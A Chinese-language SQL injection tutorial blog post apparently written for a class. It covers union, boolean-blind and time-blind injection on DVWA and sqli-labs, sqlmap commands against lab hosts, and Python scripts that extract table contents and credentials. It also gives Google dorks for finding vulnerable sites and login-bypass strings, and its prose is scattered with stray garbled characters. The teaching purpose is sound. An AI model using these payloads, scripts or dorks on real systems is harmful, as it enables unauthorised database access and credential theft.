深入剖析SQL注入(更新中)

首發(fā)地址:我的個人博客

前言

本文章產(chǎn)生的緣由是因為專業(yè)老師歇由,讓我給本專業(yè)的同學(xué)講一哈SQL注入和XSS入門葵硕,也就是本文的入門篇,講完兩節(jié)課后,發(fā)現(xiàn)自己對于SQL注入的理解也就僅僅局限于入門探熔,于是有了后面章節(jié)的產(chǎn)生。

入門篇

一瞄桨、課程目標(biāo)

聽完這節(jié)課你能學(xué)到些什么??

  • 知道什么是Sql注入
  • 實現(xiàn)最基礎(chǔ)的Sql注入
  • 學(xué)會使用SqlMap工具
  • 了解一些Web安全基本知識

二遣疯、初識SQL注入

1 什么是SQL

SQL(Structured Query Language) 是用于訪問和處理數(shù)據(jù)庫的標(biāo)準(zhǔn)的計算機(jī)語言,SQL與數(shù)據(jù)庫程序協(xié)同工作,比如 SQL Server扶镀、MySQL蕴侣、Oracle、SQLite臭觉、MongoDB昆雀、PostgreSQL、MS Access蝠筑、DB2以及其他數(shù)據(jù)庫系統(tǒng)狞膘。

2020年5月

SQL執(zhí)行流程

image

2 什么是SQL注入

SQL注入是指web應(yīng)用程序?qū)?strong>用戶輸入數(shù)據(jù)的合法性沒有判斷或過濾不嚴(yán),攻擊者可以在web應(yīng)用程序中事先定義好的查詢語句的結(jié)尾上添加額外的SQL語句什乙,以此來實現(xiàn)欺騙數(shù)據(jù)庫服務(wù)器執(zhí)行非授權(quán)的任意查詢挽封,從而得到相應(yīng)的數(shù)據(jù)信息。

通俗來說:OWASP Top10之一臣镣,SQL注入是通過將惡意的SQL語句插入到Web應(yīng)用的輸入?yún)?shù)中场仲,欺騙服務(wù)器執(zhí)行惡意的SQL命令的攻擊和悦。

SQL注入流程

image

3 SQL注入分類

根據(jù)SQL數(shù)據(jù)類型分類

  • 整型注入
  • 字符型注入

根據(jù)注入的語法分類

  • 聯(lián)合查詢注入(Union query SQL injection)
  • 報錯型注入(Error-based SQL injection)
  • 布爾型注入(Boolean-based blind SQL injection)
  • 延時注入(Time-based blind SQL injection)
  • 多語句查詢注入 (Stacted queries SQL injection)

三、初試SQL注入

1 手工注入常規(guī)思路

1.判斷是否存在注入渠缕,注入是字符型還是數(shù)字型
2.猜解 SQL 查詢語句中的字段數(shù)
3.確定顯示的字段順序
4.獲取當(dāng)前數(shù)據(jù)庫
5.獲取數(shù)據(jù)庫中的表
6.獲取表中的字段名
7.顯示字段信息

2 實現(xiàn)完整手工注入

靶機(jī):DVWA

將DVWA的級別設(shè)置為low鸽素,可以看到源碼中是一句簡單的查詢語句,沒有進(jìn)行任何過過濾

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';

因此我們完全可以插入自己想要執(zhí)行的sql語句亦鳞,那么我們開始吧馍忽!

輸入我們輸入1,那么執(zhí)行的語句就是

SELECT first_name, last_name FROM users WHERE user_id = '1'

1.判斷注入是字符型還是數(shù)字型

字符型和數(shù)字型最大區(qū)別: 數(shù)字型不需要單引號來閉合燕差,而字符串一般需要通過單引號來閉合的

數(shù)字型:select * from table where id =$id

字符型:select * from table where id='$id'

判斷數(shù)字型

1 and 1=1 #永真式   select * from table where id=1 and 1=1
1 and 1=2 #永假式   select * from table where id=1 and 1=2
#if頁面運行錯誤遭笋,則說明此Sql注入為數(shù)字型注入。

判斷字符型

1' and '1'='1  

1' and '1'='2 
#if頁面運行錯誤徒探,則說明此 Sql 注入為字符型注入瓦呼。

執(zhí)行上面兩種方式一種就可得出結(jié)論,顯示這個是字符型注入

2.猜解SQL查詢語句中的字段數(shù)

1' or 1=1 order by 1 #    查詢成功  【order by x 對第幾列進(jìn)行排序】1'  order by 1 #  id=‘1‘  #’ 注釋
1' or 1=1 order by 2 #    查詢成功
1' or 1=1 order by 3 #    查詢失敗

[圖片上傳失敗...(image-675df1-1589763722101)]
說明執(zhí)行的SQL查詢語句中只有兩個字段测暗,即這里的First name央串、Surname。

3.確定顯示的字段順序

1' union select 1,2 #    
image

說明執(zhí)行的SQL語句為select First name,Surname from xx where ID='id'

理解select 1,2:例如一個網(wǎng)站的參數(shù)傳遞執(zhí)行的查詢有3個字段碗啄,很可能這些字段不是都顯示在網(wǎng)頁前端的质和,假如其中的1或2個字段的查詢結(jié)果是會返回到前端的,那么我們就需要知道這3個字段中哪兩個結(jié)果會回顯稚字,這個過程相當(dāng)于找到數(shù)據(jù)庫與前端顯示的通道饲宿。如果我們直接輸入查詢字段進(jìn)行查詢,語句會非常冗長胆描,而且很可能還需要做很多次測試瘫想,這時候我們利用一個簡單的select 1,2,3,根據(jù)顯示在頁面上的數(shù)字就可以知道哪個數(shù)字是這個“通道”昌讲,那么我們只需要把這個數(shù)字改成我們想查詢的內(nèi)容(如id,password)殿托,當(dāng)數(shù)據(jù)爆破成功后,就會在窗口顯示我們想要的結(jié):果剧蚣。

4.獲取當(dāng)前數(shù)據(jù)庫

上步知道字段顯示順序支竹,那我們在字段2的位置上顯示數(shù)據(jù)庫試試

1' union select 1,database() #
image

說明當(dāng)前的數(shù)據(jù)庫為dvwa。

5.獲取數(shù)據(jù)庫中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #

information_schema.tables存儲了數(shù)據(jù)表的元數(shù)據(jù)信息鸠按,下面對常用的字段進(jìn)行介紹:

  • table_schema: 記錄數(shù)據(jù)庫名礼搁;
  • table_name: 記錄數(shù)據(jù)表名
  • engine : 存儲引擎目尖;
  • table_rows: 關(guān)于表的粗略行估計馒吴;
  • data_length : 記錄表的大小(單位字節(jié));
  • index_length : 記錄表的索引的大小
  • row_format: 可以查看數(shù)據(jù)表是否壓縮過饮戳;

[圖片上傳失敗...(image-a76ec8-1589763722101)]

說明數(shù)據(jù)庫dvwa中一共有兩個表豪治,guestbook與users。

6.獲取表中的字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

[圖片上傳失敗...(image-195c58-1589763722101)]

說明users表中有8個字段扯罐,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.獲取字段信息

1' union select group_concat(user_id,first_name),group_concat(password) from users #

1' union select group_concat(concat_ws(':',first_name,password)),2 from users #

1' union select first_name,password from users #
image

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)负拟。

3 實戰(zhàn)演練一哈

就以我自己搭建的靶機(jī)為例子??

在主頁搜索框發(fā)現(xiàn)注入點,話不多說開始注入

#判斷注入類型 #【數(shù)字型】
1 and 1=1 
1 and 1=2 

#查詢數(shù)據(jù)庫 #【test】
-1 union select 1,2,database()

#獲取數(shù)據(jù)庫中的表 #【admin歹河、news】
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test' 

#獲取表中的字段名 #【 user_id掩浙、user_name、user_pass】
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='admin'

#獲取字段信息 【admin:mysql】
-1 union select 1,group_concat(user_name),group_concat(user_pass) from admin
-1 union select 1,user_name,user_pass from admin 

我們又快速的實現(xiàn)了一次手工注入秸歧,但是你有沒和我一樣的感覺厨姚,太麻煩了,有更方便的方法嗎键菱,emm...

當(dāng)然有啦谬墙,使用SqlMap工具可以快速實現(xiàn)注入??

四、使用SqlMap注入

具體使用方法請問我之前寫的文章??sqlmap使用方法

SqlMap初體驗

接著使用上面靶機(jī)進(jìn)行測試

#查詢數(shù)據(jù)庫 #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs

#獲取數(shù)據(jù)庫中的表 #【admin经备、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables

#獲取表中的字段名 #【 user_id拭抬、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns

#獲取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump

一道CTF題目

題目:簡單的sql注入2

地址:http://139.224.112.182:8087/ctf_collect

解析:http://www.reibang.com/p/1aeedef99f21

1.查詢當(dāng)前數(shù)據(jù)庫(空格被過濾可以使用tamper腳本中space2comment)

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs 

image

發(fā)現(xiàn)web1數(shù)據(jù)庫
2.查詢數(shù)據(jù)庫中的表

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables

image

發(fā)現(xiàn)flag表
3.查詢flag表中字段名

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1

image

發(fā)現(xiàn)flag字段
4.查詢字段flag信息

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1

<img src="https://i.loli.net/2020/05/04/TfZAoObdMPiLJIt.png" style="zoom: 80%;" />

五弄喘、發(fā)現(xiàn)注入點

1 使用漏洞掃描工具

工具:OWASP ZAP玖喘、D盾甩牺、Seay

萬能密碼:

1' or 1=1 # 用戶名和密碼都可  
' or '1'='1' -- 

1' or '1'='1 密碼才可
image
<script>alert(1);</script>
image

2 通過Google Hacking 尋找SQL注入

看到這里我們已經(jīng)完成了一次最基礎(chǔ)的GET字符型Sql注入蘑志,有人可能會問了,這是自己搭建的靶機(jī)贬派,知道是存在sql注入急但,真實環(huán)境中如何去發(fā)現(xiàn)Sql注入呢

inurl:php?id=
inurl:.asp?id=
inurl:index.php?id=
inurl:showproduct.asp?id=
site:http://139.224.112.182:8802/ inurl:php?id
site:https://jwt1399.top inurl:.html
......

服務(wù)器報錯,并把錯誤信息返回到網(wǎng)頁上面搞乏。根據(jù)錯誤信息波桩,判斷這里大概率存在注入點。

六请敦、 修復(fù)建議

  1. 過濾用戶輸入的數(shù)據(jù)镐躲。默認(rèn)情況下,應(yīng)當(dāng)認(rèn)為用戶的所有輸入都是不安全的侍筛。
  2. 對于整數(shù)萤皂,判斷變量是否符合[0-9]的值;其他限定值匣椰,也可以進(jìn)行合法性校驗裆熙;
  3. 對于字符串,對SQL語句特殊字符進(jìn)行轉(zhuǎn)義(單引號轉(zhuǎn)成兩個單引號,雙引號轉(zhuǎn)成兩個雙引號)入录。
  4. 綁定變量蛤奥,使用預(yù)編譯語句

進(jìn)階篇

SQL注入前你要知道

不要急于進(jìn)行SQL注入,請先看完這部分僚稿,很重要凡桥!,很重要贫奠!唬血,很重要!

1.基本的SQL語句查詢源碼

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# LIMIT [偏移量],行數(shù)

通常情況下聯(lián)合查詢(union)時需要將前面的查詢結(jié)果限定為空集唤崭,后面的查詢結(jié)果才能顯示出來拷恨。例如id值設(shè)為負(fù)數(shù)或0,因為帶有LIMIT 0,1則只能顯示一條數(shù)據(jù)

?id=-1 union select 1,2,3
?id=0  union select 1,2,3
?id=-1' union select 1,2,group_concat(username,password) from users

2.MySQL數(shù)據(jù)庫幾種注釋

注釋符 描述
# 單行注釋 URL編碼 %23谢肾,在URL框直接使用中#號必須用%23來表示腕侄,#在URL框中有特定含義,代表錨點
--空格 單行注釋 芦疏,實際使用中--空格--+來表示冕杠。因為在URL框中,瀏覽器在發(fā)送請求的時候會把URL末尾的空格舍去酸茴,所以用--+代替--空格
/* */ 塊注釋
/*! */ 內(nèi)聯(lián)注釋

3.數(shù)據(jù)庫相關(guān)--Information_schema庫

  • information_schema分预,系統(tǒng)數(shù)據(jù)庫,包含所有數(shù)據(jù)庫相關(guān)信息薪捍。
  • information_schema.schemataschema_name列笼痹,字段為所有數(shù)據(jù)庫名稱。
  • information_schema.tablestable_name列對應(yīng)數(shù)據(jù)庫所有表名
  • information_schema.columns中酪穿,column_name列對應(yīng)所有列名

5.連接字符串函數(shù)

concat(),concat_ws()與及group_concat()的用法

  • concat(str1,str2,…)——沒有分隔符地連接字符串

  • concat_ws(separator,str1,str2,…)——含有分隔符地連接字符串

  • group_concat(str1,str2,…)——連接一個組的所有字符串凳干,并以逗號分隔每一條數(shù)據(jù),知道這三個函數(shù)能一次性查出所有信息就行了被济。

6.MySQL常用的系統(tǒng)函數(shù)

version()            #MySQL版本
user()               #數(shù)據(jù)庫用戶名
database()           #數(shù)據(jù)庫名
@@basedir            #數(shù)據(jù)庫安裝路徑
@@datadir            #數(shù)據(jù)庫文件存放路徑
@@version_compile_os #操作系統(tǒng)版本

7.sql注入之你問我答

盲注

SQL盲注救赐,與一般注入的區(qū)別在于,一般的注入攻擊者可以直接從頁面上看到注入語句的執(zhí)行結(jié)果只磷,而盲注時攻擊者通常是無法從顯示頁面上獲取執(zhí)行結(jié)果经磅,甚至連注入語句是否執(zhí)行都無從得知畏陕,因此盲注的難度要比一般注入高。目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多是SQL盲注牺荠。

手工盲注思路

手工盲注的過程担扑,就像你與一個機(jī)器人聊天利术,
這個機(jī)器人知道的很多,但只會回答“”或者“不是”细燎,
因此你需要詢問它這樣的問題档冬,例如“數(shù)據(jù)庫名字的第一個字母是不是a懊战搿喻旷?
通過這種機(jī)械的詢問乾戏,最終獲得你想要的數(shù)據(jù)。

手工盲注的步驟

1.判斷是否存在注入懊蒸,注入是字符型還是數(shù)字型
2.猜解當(dāng)前數(shù)據(jù)庫名
3.猜解數(shù)據(jù)庫中的表名
4.猜解表中的字段名
5.猜解數(shù)據(jù)

盲注常用函數(shù)

函數(shù) 描述
left(字符串荣倾,截取長度) 從左邊截取指定長度的字符串
length(字符串) 獲取字符串的長度
ascii(字符串) 將指定字符串進(jìn)行ascii編碼
substr(字符串,start骑丸,截取長度) 截取字符串舌仍,可以指定起始位置和長度
mid(字符串,start通危,截取長度) 截取字符串铸豁,可以指定起始位置和長度
count() 計算總數(shù),返回匹配條件的行數(shù)菊碟。
sleep(n) 將程序掛起n秒
if(參數(shù)1节芥,參數(shù)2,參數(shù)3) 參數(shù)1為條件逆害,當(dāng)參數(shù)1返回的結(jié)果為true時头镊,執(zhí)行參數(shù)2,否則執(zhí)行參數(shù)3

布爾盲注

布爾注入利用情景

  • 頁面上沒有顯示位魄幕,并且沒有輸出SQL語句執(zhí)行錯誤信息
  • 只能通過頁面返回正常與不正常判斷

實現(xiàn)完整手工布爾盲注

靶機(jī):sqli-labs第5關(guān)

1 .查看頁面變化相艇,判斷sql注入類別

?id=1 and 1=1
?id=1 and 1=2
【字符型】

2.猜解數(shù)據(jù)庫長度

使用length()判斷數(shù)據(jù)庫長度,二分法可提高效率

?id=1' and length(database())>5 --+
?id=1' and length(database())<10 --+
?id=1' and length(database())=8 --+
【length=8】

3.猜當(dāng)前數(shù)據(jù)庫名

方法1:使用substr函數(shù)
?id=1' and substr(database(),1,1)>'r'--+
?id=1' and substr(database(),1,1)<'t'--+
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
...
?id=1' and substr(database(),8,1)='y'--+
【security】
方法2:使用ascii函數(shù)和substr函數(shù)
?id=1' and ascii(substr(database(),1,1))>114 --+
?id=1' and ascii(substr(database(),1,1))<116 --+
?id=1' and ascii(substr(database(),1,1))=115 --+
【security】
ASCill表
方法3:使用left函數(shù)
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)<'t'--+
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2)='se' --+
?id=1' and left(database(),3)='sec' --+
...
?id=1' and left(database(),8)='security' --+
【security】
方法4:使用Burpsuite的Intruder模塊

將獲取數(shù)據(jù)庫第一個字符的請求包攔截并發(fā)送到Intruder模塊

設(shè)置攻擊變量以及攻擊類型

image

設(shè)置第一個攻擊變量纯陨,這個變量是控制第幾個字符的

image

設(shè)置第二個攻擊變量坛芽,這個變量是數(shù)據(jù)庫名字符

image

開始攻擊,一小會就能得到測試結(jié)果队丝,通過對長度和變量進(jìn)行排序可以看到數(shù)據(jù)庫名成功得到

image

4.判斷表的個數(shù)

count()函數(shù)是用來統(tǒng)計表中記錄的一個函數(shù)靡馁,返回匹配條件的行數(shù)欲鹏。

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0 --+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
【4個表】

5.判斷表的長度

limit可以被用于強(qiáng)制select語句返回指定的條數(shù)机久。

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
【第一個表長度為6】

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+
【第二個表長度為8】

6.猜解表名

方法1:使用substr函數(shù)
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'d' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'f' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
...
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s' --+
【第一個表名為emails】
方法2:使用Burpsuite的Intruder模塊

使用方法跟上方獲得數(shù)據(jù)庫名一樣,就不贅述了

image
image

7.猜解字段名和字段信息

#確定字段個數(shù)
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0 --+
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+
【字段個數(shù)為3】

#確定字段名的長度
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))>0 --+
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+
【第一個字段長度為2赔嚎,第二個字段長度為8】

#猜字段名 同上使用burp
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i'  --+
【...id,username,password...】

#確定字段數(shù)據(jù)長度
?id=1' and length((select username from users limit 0,1))=4  --+
【第一個字段數(shù)據(jù)長度為4】

#猜解字段數(shù)據(jù) 同上使用burp
?id=1' and substr((select username from users limit 0,1),1,1)='d'  --+

?id=1' and ascii(substr((select username from users limit 0,1),1,1))>79  --+
【第一個username數(shù)據(jù)為dumb】

使用SQLmap實現(xiàn)布爾盲注

--batch: 用此參數(shù)膘盖,不需要用戶輸入胧弛,將會使用sqlmap提示的默認(rèn)值一直運行下去。
--technique:選擇注入技術(shù)侠畔,B:Boolean-based-blind  (布爾型盲注)
--threads 10 :設(shè)置線程為10结缚,運行速度會更快
#查詢數(shù)據(jù)庫 #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B --dbs --batch --threads 10

#獲取數(shù)據(jù)庫中的表 #【emails、referers软棺、uagents红竭、users】
python sqlmap.py  -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security  --tables --batch --threads 10

#獲取表中的字段名 #【id、username喘落、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users --columns --batch --threads 10

#獲取字段信息 #【Dumb|Dumb茵宪、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10

腳本實現(xiàn)布爾盲注

1.獲取數(shù)據(jù)庫名長度

# coding:utf-8
import requests

# 獲取數(shù)據(jù)庫名長度
def database_len():
  for i in range(1, 10):
      url = '''http://139.224.112.182:8087/sqli1/Less-5/'''
      payload = '''?id=1' and length(database())=%d''' %i
      r = requests.get(url + payload + '%23') # %23 <==> --+
      if 'You are in' in r.text:
          print('database_length:', i)
          break
      else:
          print(i)

database_len()
# 【database_length: 8】

2.獲取數(shù)據(jù)庫名

# coding:utf-8
import requests
#獲取數(shù)據(jù)庫名
def database_name():
    name = ''
    for j in range(1,9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"    
            payload = "?id=1' and substr(database(),%d,1)='%s' --+"  %(j, i) 
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('database_name:', name)

database_name()
# 【database_name: security】

3.獲取數(shù)據(jù)庫中表

# coding:utf-8
import requests
# 獲取數(shù)據(jù)庫表
def tables_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"    
            payload = '''?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s' --+''' % (j, i)
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('table_name:', name)

tables_name()

#【table_name: emails,referers,uagents,users】

4.獲取表中字段

# coding:utf-8
import requests

# 獲取表中字段
def columns_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"    
            payload = "?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s' --+" %(j, i)        
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('column_name:', name)

columns_name()
#【column_name: id,username,password】

5.獲取字段值

# coding:utf-8
import requests
# 獲取字段值
def value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"  
            payload = "?id=1' and substr((select group_concat(username,password) from users),%d,1)='%s' --+" %(j, i)    
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('value:', name)

value()

時間盲注

時間注入利用情景

  • 頁面上沒有顯示位
  • 沒有輸出報錯語句
  • 正確的sql語句和錯誤的sql語句頁面返回一致

手工實現(xiàn)時間盲注

靶機(jī):sqli-labs第9關(guān)

?id=1 
?id=1'
?id=1"
#不管怎么樣都不報錯,不管對錯一直顯示一個固定的頁面瘦棋;

#判斷注入點
?id=1' and sleep(3)--+
#頁面響應(yīng)延遲稀火,判斷存在時間延遲型注入

#獲取數(shù)據(jù)庫名長度
?id=1' and if(length(database())=8,sleep(3),1)--+

#獲取數(shù)據(jù)庫名
?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+

結(jié)合Burpsuite的Intruder模塊爆破數(shù)據(jù)庫名

將獲取數(shù)據(jù)庫第一個字符的請求包攔截并發(fā)送到Intruder模塊

設(shè)置攻擊變量以及攻擊類型

image

設(shè)置第一個攻擊變量,這個變量是控制第幾個字符的

image

設(shè)置第二個攻擊變量赌朋,這個變量是數(shù)據(jù)庫名字符

image

開始攻擊凰狞,一小會就能得到測試結(jié)果,通過對長度和變量進(jìn)行排序可以看到數(shù)據(jù)庫名成功得到

image-20200515211534056

獲取表名沛慢、字段名赡若、字段信息等數(shù)據(jù)方法同上,就不贅述了

使用SQLmap實現(xiàn)時間盲注

--batch: 用此參數(shù)团甲,不需要用戶輸入斩熊,將會使用sqlmap提示的默認(rèn)值一直運行下去。
--technique:選擇注入技術(shù)伐庭,-T:Time-based blind  (基于時間延遲注入)
--threads 10 :設(shè)置線程為10粉渠,運行速度會更快。
#查詢數(shù)據(jù)庫 #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T --dbs --batch --threads 10

#獲取數(shù)據(jù)庫中的表 #【emails圾另、referers霸株、uagents、users】
python sqlmap.py  -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security  --tables --batch --threads 10

#獲取表中的字段名 #【id集乔、username去件、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users --columns --batch --threads 10 

#獲取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users -C username,password --dump --batch --threads 10 

腳本實現(xiàn)時間盲注

1.獲取數(shù)據(jù)庫名長度

# coding:utf-8
import requests
import datetime

# 獲取數(shù)據(jù)庫名長度
def database_len():
    for i in range(1, 10):
        url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
        payload = '''?id=1' and if(length(database())=%d,sleep(3),1)--+''' %i
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 3:
            print('database_len:', i)
            break
        else:
            print(i)
            
database_len()

2.獲取數(shù)據(jù)庫名

# coding:utf-8
import requests
import datetime

#獲取數(shù)據(jù)庫名
def database_name():
    name = ''
    for j in range(1, 9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz_':
            url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
            payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1) --+''' % (j,i)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >= 1:
                name = name + i
                print(name)
                break
    print('database_name:', name)

database_name()

獲取表名扰路、字段名尤溜、字段信息等數(shù)據(jù)的腳本類似上面布爾盲注腳本,就不贅述了

SQL注入靶場

DVWA

SQL-Injection

Low

image

分析:
由代碼可知汗唱,通過REQUEST方式接受傳遞的參數(shù)id宫莱,再通過sql語句帶入查詢,并未設(shè)置任何過濾哩罪,因此可以進(jìn)行sql注入利用授霸。
常見注入測試的POC:
image

1.判斷是否存在注入巡验,注入是字符型還是數(shù)字型

當(dāng)輸入的參數(shù)為字符串時,稱為字符型碘耳。字符型和數(shù)字型最大的一個區(qū)別在于显设,數(shù)字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的辛辨。

輸入1捕捂,查詢成功

image

輸入1'and '1' ='2,查詢失敗斗搞,返回結(jié)果為空:

image

輸入1' or '1'='1 頁面正常绞蹦,并返回更多信息,成功查詢

image

判斷存在的是字符型注入榜旦。

2.猜解SQL查詢語句中的字段數(shù)

1' or 1=1 order by 1 # 
查詢成功
image
1' or 1=1 order by 2 # 
查詢成功 #是注釋作用
image
1' or 1=1 order by 3 # 
查詢失敗

image

說明執(zhí)行的SQL查詢語句中只有兩個字段幽七,即這里的First name、Surname溅呢。

3.確定顯示的字段順序

輸入1' union select 1,2 # 查詢成功: #是注釋作用

image

說明執(zhí)行的SQL語句為select First name,Surname from 表 where ID=’id’…

4.獲取當(dāng)前數(shù)據(jù)庫
輸入1' union select 1,database() # 查詢成功:#是注釋作用

image

說明當(dāng)前的數(shù)據(jù)庫為dvwa澡屡。

5.獲取數(shù)據(jù)庫中的表

輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查詢成功: #是注釋作用

image

說明數(shù)據(jù)庫dvwa中一共有兩個表,guestbook與users咐旧。

6.獲取表中的字段名

輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查詢成功: #是注釋作用

image

說明users表中有8個字段驶鹉,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下載數(shù)據(jù)

輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #铣墨,查詢成功: #是注釋作用

image

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)室埋。

Medium

分析:
Medium級別的代碼利用mysql_real_escape_string函數(shù)對特殊符號\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義,同時前端頁面設(shè)置了下拉選擇表單伊约,希望以此來控制用戶的輸入姚淆。

image

漏洞利用
雖然前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數(shù)屡律,提交惡意構(gòu)造的查詢參數(shù)腌逢。

1.判斷是否存在注入,注入是字符型還是數(shù)字型

抓包更改參數(shù)id為1' or 1=1 # 報錯: #是注釋作用

image

抓包更改參數(shù)id為1 or 1=1 #超埋,查詢成功

image

說明存在數(shù)字型注入搏讶。
(由于是數(shù)字型注入,服務(wù)器端的mysql_real_escape_string函數(shù)就形同虛設(shè)了霍殴,因為數(shù)字型注入并不需要借助引號媒惕。)

2.猜解SQL查詢語句中的字段數(shù)

抓包更改參數(shù)id為1 order by 2 #,查詢成功:

image

抓包更改參數(shù)id為1 order by 3 #来庭,報錯:

image

說明執(zhí)行的SQL查詢語句中只有兩個字段妒蔚,即這里的First name、Surname。

3.確定顯示的字段順序

抓包更改參數(shù)id為1 union select 1,2 #面睛,查詢成功:

image

說明執(zhí)行的SQL語句為select First name,Surname from 表 where ID=id…

4.獲取當(dāng)前數(shù)據(jù)庫

抓包更改參數(shù)id為1 union select 1,database() #絮蒿,查詢成功:

image

說明當(dāng)前的數(shù)據(jù)庫為dvwa尊搬。

5.獲取數(shù)據(jù)庫中的表

抓包更改參數(shù)id為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #叁鉴,查詢成功:

image

說明數(shù)據(jù)庫dvwa中一共有兩個表,guestbook與users佛寿。

6.獲取表中的字段名

抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #幌墓,查詢失敗:

image

這是因為單引號被轉(zhuǎn)義了冀泻,變成了\'常侣。可以利用16進(jìn)制進(jìn)行繞過 ''

抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #弹渔,查詢成功:

image

說明users表中有8個字段胳施,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下載數(shù)據(jù)

抓包修改參數(shù)id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #肢专,查詢成功:

image

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)舞肆。

High
image

分析:
